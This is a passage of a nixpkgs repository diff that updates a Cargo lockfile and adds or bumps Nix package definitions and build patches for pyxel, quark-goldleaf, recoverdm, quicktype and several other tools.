"wasm-bindgen-shared", ] [[package]] -name = "vcpkg" -version = "0.2.15" +name = "wasm-bindgen-shared" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" [[package]] -name = "walkdir" -version = "2.4.0" +name = "web-sys" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" dependencies = [ - "same-file", - "winapi-util", + "js-sys", + "wasm-bindgen", ] [[package]] -name = "wasi" -version = "0.11.0+wasi-snapshot-preview1" +name = "weezl" +version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" +checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" + +[[package]] +name = "which" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" +dependencies = [ + "either", + "home", + "once_cell", + "rustix", +] [[package]] name = "winapi" @@ -1298,19 +1459,29 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] -name = "winapi-util" -version = "0.1.6" +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" dependencies = [ - "winapi", + "windows-core", + "windows-targets 0.52.0", ] [[package]] -name = "winapi-x86_64-pc-windows-gnu" -version = "0.4.0" +name = "windows-core" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.0", +] [[package]] name = "windows-sys" @@ -1445,10 +1616,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" [[package]] +name = "winnow" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d90f4e0f530c4c69f62b80d839e9ef3855edc9cba471a160c4d692deed62b401" +dependencies = [ + "memchr", +] + +[[package]] name = "xattr" -version = "1.2.0" +version = "1.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "914566e6413e7fa959cc394fb30e563ba80f3541fbd40816d4c05a0fc3f2a0f1" +checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f" dependencies = [ "libc", "linux-raw-sys", @@ -1456,32 +1636,28 @@ dependencies = [ ] [[package]] -name = "zstd" -version = "0.5.4+zstd.1.4.7" +name = "xml-rs" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "69996ebdb1ba8b1517f61387a883857818a66c8a295f487b1ffd8fd9d2c82910" -dependencies = [ - "zstd-safe", -] +checksum = "0fcb9cbac069e033553e8bb871be2fbdffcab578eb25bd0f7c508cedc6dcd75a" [[package]] -name = "zstd-safe" -version = "2.0.6+zstd.1.4.7" +name = "zip" +version = "0.6.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "98aa931fb69ecee256d44589d19754e61851ae4769bf963b385119b1cc37a49e" +checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261" dependencies = [ - "libc", - "zstd-sys", + "byteorder", + "crc32fast", + "crossbeam-utils", + "flate2", ] [[package]] -name = "zstd-sys" -version = "1.4.18+zstd.1.4.7" +name = "zune-inflate" +version = "0.2.54" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1e6e8778706838f43f771d80d37787cb2fe06dafe89dd3aebaf6721b9eaec81" +checksum = "73ab332fe2f6680068f3582b16a24f90ad7096d5d39b974d1c0aff0125116f02" dependencies = [ - "cc", - "glob", - "itertools 0.9.0", - "libc", + "simd-adler32", ] diff --git a/pkgs/by-name/py/pyxel/never-bundle-sdl2.patch b/pkgs/by-name/py/pyxel/never-bundle-sdl2.patch new file mode 100644 index 0000000000000..e3448d4ede632 --- /dev/null +++ b/pkgs/by-name/py/pyxel/never-bundle-sdl2.patch @@ -0,0 +1,13 @@ +diff --git a/crates/pyxel-platform/build.rs b/crates/pyxel-platform/build.rs +index 35cdeef5..68a93ed9 100644 +--- a/crates/pyxel-platform/build.rs ++++ b/crates/pyxel-platform/build.rs +@@ -30,7 +30,7 @@ impl SDL2BindingsBuilder { + } + + fn should_bundle_sdl2(&self) -> bool { +- self.target_os.contains("windows") || self.target_os == "darwin" ++ false + } + + fn download_sdl2(&self) { diff --git a/pkgs/by-name/py/pyxel/package.nix b/pkgs/by-name/py/pyxel/package.nix new file mode 100644 index 0000000000000..4c9cd40682ff7 --- /dev/null +++ b/pkgs/by-name/py/pyxel/package.nix @@ -0,0 +1,75 @@ +{ lib +, stdenv +, python3 +, fetchFromGitHub +, rustPlatform +, SDL2 +, libiconv +, darwin +}: + +python3.pkgs.buildPythonApplication rec { + pname = "pyxel"; + version = "2.0.7"; + pyproject = true; + + disabled = python3.pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "kitao"; + repo = "pyxel"; + rev = "v${version}"; + hash = "sha256-5Jrwfi79HbS4hh+eMwI49Rsk4jrAdAuDhNpUT2cEvDo="; + }; + + patches = [ + ./never-bundle-sdl2.patch + ./update-bindgen-f16-support.patch # can be removed once rust-bindgen gets a new release + ]; + + cargoRoot = "crates/pyxel-wrapper"; + + # Lockfile is generated by applying patches with `git apply` + # and then running `cargo generate-lockfile` in `crates/pyxel-wrapper` + cargoDeps = rustPlatform.importCargoLock { + lockFile = ./Cargo.lock; + outputHashes = { + "bindgen-0.69.1" = "sha256-1967EmuyWgmrKmhwAcW49dlmuWPNuKjuRr5/u7ZKpXQ="; + }; + }; + + postPatch = '' + cp ${./Cargo.lock} crates/pyxel-wrapper/Cargo.lock + ''; + + nativeBuildInputs = with rustPlatform; [ + cargoSetupHook + maturinBuildHook + bindgenHook + ]; + + buildInputs = [ SDL2 ] ++ lib.optionals stdenv.isDarwin [ + libiconv + darwin.apple_sdk.frameworks.IOKit + ]; + + env.NIX_CFLAGS_COMPILE = "-I${lib.getDev SDL2}/include/SDL2"; + + # Tests can't use the display + dontCheck = true; + + pythonImportsCheck = [ + "pyxel" + "pyxel.pyxel_wrapper" + ]; + + meta = { + changelog = "https://github.com/kitao/pyxel/tree/${src.rev}/CHANGELOG.md"; + description = "A retro game engine for Python"; + homepage = "https://github.com/kitao/pyxel"; + license = lib.licenses.mit; + mainProgram = "pyxel"; + maintainers = with lib.maintainers; [ tomasajt ]; + platforms = lib.platforms.linux ++ lib.platforms.darwin; + }; +} diff --git a/pkgs/by-name/py/pyxel/update-bindgen-f16-support.patch b/pkgs/by-name/py/pyxel/update-bindgen-f16-support.patch new file mode 100644 index 0000000000000..9b7257c7670c5 --- /dev/null +++ b/pkgs/by-name/py/pyxel/update-bindgen-f16-support.patch @@ -0,0 +1,13 @@ +diff --git a/crates/pyxel-platform/Cargo.toml b/crates/pyxel-platform/Cargo.toml +index 01a87b68..088ffbdd 100644 +--- a/crates/pyxel-platform/Cargo.toml ++++ b/crates/pyxel-platform/Cargo.toml +@@ -22,7 +22,7 @@ parking_lot = "0.12" + paste = "1.0" + + [build-dependencies] +-bindgen = "0.69" ++bindgen = { git = "https://github.com/rust-lang/rust-bindgen.git", rev = "d77e53ed8398743bf68831d25063719fa0f4f136" } + cmake = "0.1" + flate2 = "1.0" + tar = "0.4" diff --git a/pkgs/by-name/qr/qrtool/package.nix b/pkgs/by-name/qr/qrtool/package.nix index 0eca4c6ada025..4cee9724b3d7c 100644 --- a/pkgs/by-name/qr/qrtool/package.nix +++ b/pkgs/by-name/qr/qrtool/package.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "qrtool"; - version = "0.10.4"; + version = "0.10.5"; src = fetchFromGitHub { owner = "sorairolake"; repo = "qrtool"; rev = "v${version}"; - sha256 = "sha256-b1dNGEdjmY2RSZ3M7lwWVeookMij2rUsVtevsYYNtw0="; + sha256 = "sha256-XYoa5AueI0AYH5Lw7CmzeK9RkNy8WXbAAePAGkcwzWw="; }; - cargoHash = "sha256-9Zd4zETDy8iM/rrZI55NOybpa4Sn9AzYsNYmLDzxL+Q="; + cargoHash = "sha256-s68OCW2KS1ADTp8rWaUOGXCrl+Qapyf9FcLVhSF4QMg="; nativeBuildInputs = [ asciidoctor installShellFiles ]; diff --git a/pkgs/by-name/qt/qtractor/package.nix b/pkgs/by-name/qt/qtractor/package.nix index a19e84467f8df..67f2e2b86501b 100644 --- a/pkgs/by-name/qt/qtractor/package.nix +++ b/pkgs/by-name/qt/qtractor/package.nix @@ -29,11 +29,11 @@ stdenv.mkDerivation rec { pname = "qtractor"; - version = "0.9.38"; + version = "0.9.39"; src = fetchurl { url = "mirror://sourceforge/qtractor/qtractor-${version}.tar.gz"; - hash = "sha256-aAUOz9gztk9ynQYRq+mniUk++rM6Rdne9U1QM7jKPcU="; + hash = "sha256-5gyPNxthrBbSHvlvJbQ0rvxVEq68uQEg+qnxHQb+NVU="; }; nativeBuildInputs = [ diff --git a/pkgs/by-name/qu/quark-goldleaf/99-quark-goldleaf.rules b/pkgs/by-name/qu/quark-goldleaf/99-quark-goldleaf.rules new file mode 100644 index 0000000000000..aa79720d7b55e --- /dev/null +++ b/pkgs/by-name/qu/quark-goldleaf/99-quark-goldleaf.rules @@ -0,0 +1,2 @@ +# Nintendo Switch HOS +SUBSYSTEM=="usb", ATTRS{idVendor}=="057e", ATTRS{idProduct}=="3000", MODE="0666" diff --git a/pkgs/by-name/qu/quark-goldleaf/fix-maven-plugin-versions.patch b/pkgs/by-name/qu/quark-goldleaf/fix-maven-plugin-versions.patch new file mode 100644 index 0000000000000..efe2e13c69ccb --- /dev/null +++ b/pkgs/by-name/qu/quark-goldleaf/fix-maven-plugin-versions.patch @@ -0,0 +1,88 @@ +diff --git a/pom.xml b/pom.xml +index 5a683ca..be71e5d 100644 +--- a/pom.xml ++++ b/pom.xml +@@ -104,7 +105,7 @@ + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-compiler-plugin</artifactId> +- <version>3.1</version> ++ <version>3.11.0</version> + <configuration> + <source>1.8</source> + <target>1.8</target> +@@ -113,7 +114,7 @@ + + <plugin> + <artifactId>maven-jar-plugin</artifactId> +- <version>2.4</version> ++ <version>3.3.0</version> + <executions> + <execution> + <id>default-jar</id> +@@ -134,7 +135,7 @@ + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-assembly-plugin</artifactId> +- <version>3.1.0</version> ++ <version>3.6.0</version> + <configuration> + <finalName>Quark</finalName> + <appendAssemblyId>false</appendAssemblyId> +@@ -157,6 +158,56 @@ + </execution> + </executions> + </plugin> ++ ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-enforcer-plugin</artifactId> ++ <version>3.3.0</version> ++ <executions> ++ <execution> ++ <id>require-all-plugin-versions-to-be-set</id> ++ <phase>validate</phase> ++ <goals> ++ <goal>enforce</goal> ++ </goals> ++ <configuration> ++ <rules> ++ <requirePluginVersions /> ++ </rules> ++ </configuration> ++ </execution> ++ </executions> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-deploy-plugin</artifactId> ++ <version>3.1.1</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-resources-plugin</artifactId> ++ <version>3.3.1</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-site-plugin</artifactId> ++ <version>4.0.0-M9</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-install-plugin</artifactId> ++ <version>3.1.1</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-clean-plugin</artifactId> ++ <version>3.3.1</version> ++ </plugin> ++ <plugin> ++ <groupId>org.apache.maven.plugins</groupId> ++ <artifactId>maven-surefire-plugin</artifactId> ++ <version>3.1.2</version> ++ </plugin> + </plugins> + </build> + diff --git a/pkgs/by-name/qu/quark-goldleaf/package.nix b/pkgs/by-name/qu/quark-goldleaf/package.nix new file mode 100644 index 0000000000000..71321a76fbd5f --- /dev/null +++ b/pkgs/by-name/qu/quark-goldleaf/package.nix @@ -0,0 +1,114 @@ +{ lib +, jdk +, maven +, fetchFromGitHub +, fetchpatch +, makeDesktopItem +, copyDesktopItems +, imagemagick +, wrapGAppsHook +, gtk3 +}: + +let + jdk' = jdk.override { enableJavaFX = true; }; + maven' = maven.override { jdk = jdk'; }; +in +maven'.buildMavenPackage rec { + pname = "quark-goldleaf"; + version = "1.0.0"; + + src = fetchFromGitHub { + owner = "XorTroll"; + repo = "Goldleaf"; + rev = version; + hash = "sha256-gagIQGOiygJ0Onm0SrkbFWaovqWX2WJNx7LpSRheCLM="; + }; + + sourceRoot = "${src.name}/Quark"; + + patches = [ + ./fix-maven-plugin-versions.patch + ./remove-pom-jfx.patch + (fetchpatch { + name = "fix-config-path.patch"; + url = "https://github.com/XorTroll/Goldleaf/commit/714ecc2755df9c1252615ad02cafff9c0311a739.patch"; + hash = "sha256-4j+6uLIOdltZ4XIb3OtOzZg9ReH9660gZMMNQpHnn4o="; + relative = "Quark"; + }) + ]; + + mvnHash = "sha256-gA3HsQZFa2POP9cyJLb1l8t3hrJYzDowhJU+5Xl79p4="; + + # set fixed build timestamp for deterministic jar + mvnParameters = "-Dproject.build.outputTimestamp=1980-01-01T00:00:02Z"; + + nativeBuildInputs = [ + imagemagick # for icon conversion + copyDesktopItems + wrapGAppsHook + ]; + + buildInputs = [ gtk3 ]; + + # don't double-wrap + dontWrapGApps = true; + + installPhase = '' + runHook preInstall + + install -Dm644 ${./99-quark-goldleaf.rules} $out/etc/udev/rules.d/99-quark-goldleaf.rules + install -Dm644 target/Quark.jar $out/share/java/quark-goldleaf.jar + + for size in 16 24 32 48 64 128; do + mkdir -p $out/share/icons/hicolor/"$size"x"$size"/apps + convert -resize "$size"x"$size" src/main/resources/Icon.png $out/share/icons/hicolor/"$size"x"$size"/apps/quark-goldleaf.png + done + + runHook postInstall + ''; + + postFixup = '' + # This is in postFixup because gappsWrapperArgs are generated during preFixup + makeWrapper ${jdk'}/bin/java $out/bin/quark-goldleaf \ + "''${gappsWrapperArgs[@]}" \ + --add-flags "-jar $out/share/java/quark-goldleaf.jar" + ''; + + desktopItems = [ + (makeDesktopItem { + name = "quark-goldleaf"; + exec = "quark-goldleaf"; + icon = "quark-goldleaf"; + desktopName = "Quark"; + comment = meta.description; + terminal = false; + categories = [ "Utility" "FileTransfer" ]; + keywords = [ "nintendo" "switch" "goldleaf" ]; + }) + ]; + + meta = { + changelog = "https://github.com/XorTroll/Goldleaf/releases/tag/${src.rev}"; + description = "A GUI tool for transfering files between a computer and a Nintendo Switch running Goldleaf"; + homepage = "https://github.com/XorTroll/Goldleaf#quark-and-remote-browsing"; + longDescription = '' + ${meta.description} + + For the program to work properly, you will have to install Nintendo Switch udev rules. + + You can either do this by enabling the NixOS module: + + `programs.quark-goldleaf.enable = true;` + + or by adding the package manually to udev packages: + + `services.udev.packages = [ pkgs.quark-goldleaf ]; + ''; + license = lib.licenses.gpl3Only; + mainProgram = "quark-goldleaf"; + maintainers = with lib.maintainers; [ tomasajt ]; + platforms = with lib.platforms; linux ++ darwin; + }; +} + diff --git a/pkgs/by-name/qu/quark-goldleaf/remove-pom-jfx.patch b/pkgs/by-name/qu/quark-goldleaf/remove-pom-jfx.patch new file mode 100644 index 0000000000000..3a28ee27086a8 --- /dev/null +++ b/pkgs/by-name/qu/quark-goldleaf/remove-pom-jfx.patch @@ -0,0 +1,93 @@ +diff --git a/pom.xml b/pom.xml +index 51ce56b..44dcd09 100644 +--- a/pom.xml ++++ b/pom.xml +@@ -15,72 +15,6 @@ + </properties> + + <dependencies> +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-controls</artifactId> +- <version>17</version> +- <classifier>linux</classifier> +- <scope>compile</scope> +- </dependency> +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-controls</artifactId> +- <version>17</version> +- <classifier>win</classifier> +- <scope>compile</scope> +- </dependency> +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-controls</artifactId> +- <version>17</version> +- <classifier>mac</classifier> +- <scope>compile</scope> +- </dependency> +- +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-fxml</artifactId> +- <version>17</version> +- <classifier>linux</classifier> +- <scope>compile</scope> +- </dependency> +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-fxml</artifactId> +- <version>17</version> +- <classifier>win</classifier> +- <scope>compile</scope> +- </dependency> +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-fxml</artifactId> +- <version>17</version> +- <classifier>mac</classifier> +- <scope>compile</scope> +- </dependency> +- +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-graphics</artifactId> +- <version>17</version> +- <classifier>linux</classifier> +- <scope>compile</scope> +- </dependency> +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-graphics</artifactId> +- <version>17</version> +- <classifier>win</classifier> +- <scope>compile</scope> +- </dependency> +- <dependency> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-graphics</artifactId> +- <version>17</version> +- <classifier>mac</classifier> +- <scope>compile</scope> +- </dependency> +- + <dependency> + <groupId>org.usb4java</groupId> + <artifactId>usb4java-javax</artifactId> +@@ -123,15 +57,6 @@ + </executions> + </plugin> + +- <plugin> +- <groupId>org.openjfx</groupId> +- <artifactId>javafx-maven-plugin</artifactId> +- <version>0.0.8</version> +- <configuration> +- <mainClass>xortroll.goldleaf.quark.Main</mainClass> +- </configuration> +- </plugin> +- + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-assembly-plugin</artifactId> diff --git a/pkgs/by-name/qu/quicktype/package.nix b/pkgs/by-name/qu/quicktype/package.nix index 585dd1ebf471d..c6dc593d061c0 100644 --- a/pkgs/by-name/qu/quicktype/package.nix +++ b/pkgs/by-name/qu/quicktype/package.nix @@ -1,14 +1,14 @@ -{ lib, buildNpmPackage, fetchFromGitHub, jq }: +{ lib, buildNpmPackage, fetchFromGitHub, jq, quicktype, testers }: buildNpmPackage rec { pname = "quicktype"; - version = "23.0.81"; # version from https://npm.im/quicktype + version = "23.0.104"; # version from https://npm.im/quicktype src = fetchFromGitHub { owner = "glideapps"; repo = "quicktype"; - rev = "838c5e0e63a50d7c7790dc81118e664480fc4a80"; # version not tagged - hash = "sha256-+VMkfkBSomxxlkuOeMqBCySe7VCx2K5bIdF/tmVgK/Y="; + rev = "916cd94a9d4fdeab870b6a12f42ad43ebaedf314"; # version not tagged + hash = "sha256-PI9YgFVy7Mlln9+7IAU9vzyvK606PuAJ32st3NDwXIw="; }; postPatch = '' @@ -21,6 +21,10 @@ buildNpmPackage rec { mv packages/ $out/lib/node_modules/quicktype/ ''; + passthru.tests = { + version = testers.testVersion { package = quicktype; }; + }; + meta = with lib; { description = "Generate types and converters from JSON, Schema, and GraphQL"; homepage = "https://quicktype.io/"; diff --git a/pkgs/by-name/ra/raspberrypi-eeprom/package.nix b/pkgs/by-name/ra/raspberrypi-eeprom/package.nix index 533ce4847317a..afad529c8261f 100644 --- a/pkgs/by-name/ra/raspberrypi-eeprom/package.nix +++ b/pkgs/by-name/ra/raspberrypi-eeprom/package.nix @@ -12,13 +12,13 @@ }: stdenvNoCC.mkDerivation (finalAttrs: { pname = "raspberrypi-eeprom"; - version = "2024.01.05-2712"; + version = "2024.02.16-2712"; src = fetchFromGitHub { owner = "raspberrypi"; repo = "rpi-eeprom"; - rev = "refs/tags/v.${finalAttrs.version}"; - hash = "sha256-/DWnGtNyN9DEDNdz+mOBWu38bGj7YIbbgqUVN/B2VcM="; + rev = "refs/tags/v${finalAttrs.version}"; + hash = "sha256-R3X7JaS8Ob6KwN1KYaJDZA8aI4Hv6Y3R+nOMSPjt2ew="; }; buildInputs = [ python3 ]; diff --git a/pkgs/by-name/rc/rclip/package.nix b/pkgs/by-name/rc/rclip/package.nix index 938ee211ca89c..e98c41815e750 100644 --- a/pkgs/by-name/rc/rclip/package.nix +++ b/pkgs/by-name/rc/rclip/package.nix @@ -4,14 +4,14 @@ }: python3Packages.buildPythonApplication rec { pname = "rclip"; - version = "1.7.24"; + version = "1.7.26"; pyproject = true; src = fetchFromGitHub { owner = "yurijmikhalevich"; repo = "rclip"; rev = "v${version}"; - hash = "sha256-JWtKgvSP7oaPg19vWnnCDfm7P5Uew+v9yuvH7y2eHHM="; + hash = "sha256-u+xnrqJXtjElVXlwkCTHztcRl998CwoTEIvaGYzGOLU="; }; nativeBuildInputs = with python3Packages; [ diff --git a/pkgs/by-name/rc/rcp/package.nix b/pkgs/by-name/rc/rcp/package.nix index 109d81bec9f54..0a9661f2a97ac 100644 --- a/pkgs/by-name/rc/rcp/package.nix +++ b/pkgs/by-name/rc/rcp/package.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "rcp"; - version = "0.5.0"; + version = "0.6.0"; src = fetchFromGitHub { owner = "wykurz"; repo = "rcp"; rev = "v${version}"; - hash = "sha256-5CqQwTJAQhO9mLfMan6JhNY3N2gfwR6wmGtVBYzVxuc="; + hash = "sha256-a/gjphldS17W2OWUXpo+bayqaxINVLI7B27wlicT4Ks="; }; - cargoHash = "sha256-sF7RjuVRNfJa3vw71S+BKIBLeWT6biekAE/56BsZYkw="; + cargoHash = "sha256-i8CrS0WlqlyXmI1waYrbiSFifAn5vqRW0YeQ1Izu0XE="; checkFlags = [ # this test also sets setuid permissions on a test file (3oXXX) which doesn't work in a sandbox diff --git a/pkgs/by-name/re/ready-check/package.nix b/pkgs/by-name/re/ready-check/package.nix new file mode 100644 index 0000000000000..84dcc83454a78 --- /dev/null +++ b/pkgs/by-name/re/ready-check/package.nix @@ -0,0 +1,40 @@ +{ lib +, fetchFromGitHub +, python3 +}: + +python3.pkgs.buildPythonApplication rec { + pname = "ready-check"; + version = "1.2.6"; + pyproject = true; + + src = fetchFromGitHub { + owner = "sesh"; + repo = "ready"; + rev = "refs/tags/v${version}"; + hash = "sha256-j0UY2Q1jYGRtjvaWMwgMJrNaQZQnEJ5ST4o4PAVYWVc="; + }; + + nativeBuildInputs = with python3.pkgs; [ + setuptools + ]; + + propagatedBuildInputs = with python3.pkgs; [ + beautifulsoup4 + thttp + tld + ]; + + pythonImportsCheck = [ + "ready" + ]; + + meta = with lib; { + description = "Tool to check readiness of websites"; + homepage = "https://github.com/sesh/ready"; + changelog = "https://github.com/sesh/ready/releases/tag/v${version}"; + license = licenses.isc; + maintainers = with maintainers; [ fab ]; + mainProgram = "ready"; + }; +} diff --git a/pkgs/by-name/re/recoverdm/0001-darwin-build-fixes.patch b/pkgs/by-name/re/recoverdm/0001-darwin-build-fixes.patch new file mode 100644 index 0000000000000..9a06ffd4ab65d --- /dev/null +++ b/pkgs/by-name/re/recoverdm/0001-darwin-build-fixes.patch @@ -0,0 +1,121 @@ +From 9b46e151b9fdaf5684618482e69ef4a307c0d47c Mon Sep 17 00:00:00 2001 +From: annalee <150648636+a-n-n-a-l-e-e@users.noreply.github.com> +Date: Sun, 18 Feb 2024 19:54:21 +0000 +Subject: [PATCH] darwin build fixes + +--- + compat.h | 14 ++++++++++++++ + dev.c | 1 + + error.c | 1 + + io.c | 1 + + mergebad.c | 1 + + recoverdm.c | 1 + + utils.c | 1 + + utils.h | 1 + + 8 files changed, 21 insertions(+) + create mode 100644 src/compat.h + +diff --git a/compat.h b/compat.h +new file mode 100644 +index 0000000..181c8ea +--- /dev/null ++++ b/compat.h +@@ -0,0 +1,14 @@ ++#pragma once ++#ifdef __APPLE__ ++#include <unistd.h> ++_Static_assert(sizeof(off_t) == 8, "off_t must be 8 bytes"); ++typedef off_t off64_t; ++#define stat64 stat ++#define lseek64 lseek ++#define open64 open ++#define POSIX_FADV_SEQUENTIAL 1 ++static inline int posix_fadvise(int fd, off_t offset, off_t len, int advice) ++{ ++ return 0; ++} ++#endif +diff --git a/dev.c b/dev.c +index c1ce748..ae3ce2c 100644 +--- a/dev.c ++++ b/dev.c +@@ -18,6 +18,7 @@ + #include <scsi/scsi_ioctl.h> + #include <linux/cdrom.h> + #endif ++#include "compat.h" + + #include "dev.h" + +diff --git a/error.c b/error.c +index d2f8acf..550e1af 100644 +--- a/error.c ++++ b/error.c +@@ -4,6 +4,7 @@ + #include <stdlib.h> + #include <sys/types.h> + #include <signal.h> ++#include "compat.h" + + void error_exit(char *format, ...) + { +diff --git a/io.c b/io.c +index 9d66534..e784d75 100644 +--- a/io.c ++++ b/io.c +@@ -7,6 +7,7 @@ + #include <unistd.h> + #include <sys/types.h> + #include <sys/stat.h> ++#include "compat.h" + + #include "io.h" + #include "error.h" +diff --git a/mergebad.c b/mergebad.c +index 34a6ef7..580c3bc 100644 +--- a/mergebad.c ++++ b/mergebad.c +@@ -7,6 +7,7 @@ + #include <stdio.h> + #include <stdlib.h> + #include <unistd.h> ++#include "compat.h" + + #include "io.h" + #include "dev.h" +diff --git a/recoverdm.c b/recoverdm.c +index 8b71ae1..5dddeb3 100644 +--- a/recoverdm.c ++++ b/recoverdm.c +@@ -7,6 +7,7 @@ + #include <stdio.h> + #include <stdlib.h> + #include <unistd.h> ++#include "compat.h" + + #include "io.h" + #include "dev.h" +diff --git a/utils.c b/utils.c +index 5791404..ee42a0a 100644 +--- a/utils.c ++++ b/utils.c +@@ -7,6 +7,7 @@ + #include <stdio.h> + #include <stdlib.h> + #include <unistd.h> ++#include "compat.h" + + #include "io.h" + #include "dev.h" +diff --git a/utils.h b/utils.h +index c749c2e..acb0888 100644 +--- a/utils.h ++++ b/utils.h +@@ -1,3 +1,4 @@ ++#include "compat.h" + void * mymalloc(size_t size, char *what); + void * myrealloc(void *oldp, size_t newsize, char *what); + off64_t get_filesize(char *filename); +-- +2.43.0 + diff --git a/pkgs/by-name/re/recoverdm/package.nix b/pkgs/by-name/re/recoverdm/package.nix new file mode 100644 index 0000000000000..b0de4b7d1cfe9 --- /dev/null +++ b/pkgs/by-name/re/recoverdm/package.nix @@ -0,0 +1,53 @@ +{ lib +, stdenv +, fetchFromGitLab +, fetchpatch +, installShellFiles +}: + +stdenv.mkDerivation (finalAttrs: { + pname = "recoverdm"; + version = "0.20-8"; + + src = fetchFromGitLab { + domain = "salsa.debian.org"; + owner = "pkg-security-team"; + repo = "recoverdm"; + rev = "debian/${finalAttrs.version}"; + hash = "sha256-1iW3Ug85ZLGpvG29N5zJt8oooSQGnLsr+8XIcp4aSSM="; + }; + + patches = let patch = name: "./debian/patches/${name}"; in [ + (patch "10_fix-makefile.patch") + (patch "20_fix-typo-binary.patch") + (patch "30-fix-BTS-mergebad-crash.patch") + (patch "40_dev-c.patch") + ./0001-darwin-build-fixes.patch + ]; + + postPatch = '' + substituteInPlace Makefile \ + --replace-fail '$(DESTDIR)/usr/bin' $out/bin + ''; + + nativeBuildInputs = [ + installShellFiles + ]; + + preInstall = '' + mkdir -p $out/bin + ''; + + postInstall = '' + installManPage recoverdm.1 + ''; + + meta = with lib; { + description = "Recover damaged CD DVD and disks with bad sectors"; + mainProgram = "recoverdm"; + homepage = "https://salsa.debian.org/pkg-security-team/recoverdm"; + maintainers = with maintainers; [ d3vil0p3r ]; + platforms = platforms.unix; + license = licenses.gpl1Only; + }; +}) diff --git a/pkgs/by-name/re/rectangle-pro/package.nix b/pkgs/by-name/re/rectangle-pro/package.nix index 710ec7121c980..0768912463bb7 100644 --- a/pkgs/by-name/re/rectangle-pro/package.nix +++ b/pkgs/by-name/re/rectangle-pro/package.nix @@ -6,11 +6,11 @@ stdenvNoCC.mkDerivation (finalAttrs: { pname = "rectangle-pro"; - version = "3.0.11"; + version = "3.0.19"; src = fetchurl { url = "https://rectangleapp.com/pro/downloads/Rectangle%20Pro%20${finalAttrs.version}.dmg"; - hash = "sha256-Hs2eRO5DpYoY0rLfcmGZRHjmg+wddz/+LE0u4E9gCTk="; + hash = "sha256-ZWIjxaxV90I42Stg7jFUItJBZLoXm8iLIeQzcssRQLA="; }; sourceRoot = "."; diff --git a/pkgs/by-name/re/redfishtool/package.nix b/pkgs/by-name/re/redfishtool/package.nix new file mode 100644 index 0000000000000..d9457c3e1e6db --- /dev/null +++ b/pkgs/by-name/re/redfishtool/package.nix @@ -0,0 +1,28 @@ +{ lib +, fetchPypi +, python3 +}: + +let + pname = "redfishtool"; + version = "1.1.8"; +in +python3.pkgs.buildPythonApplication { + inherit pname version; + format = "setuptools"; + + src = fetchPypi { + inherit pname version; + hash = 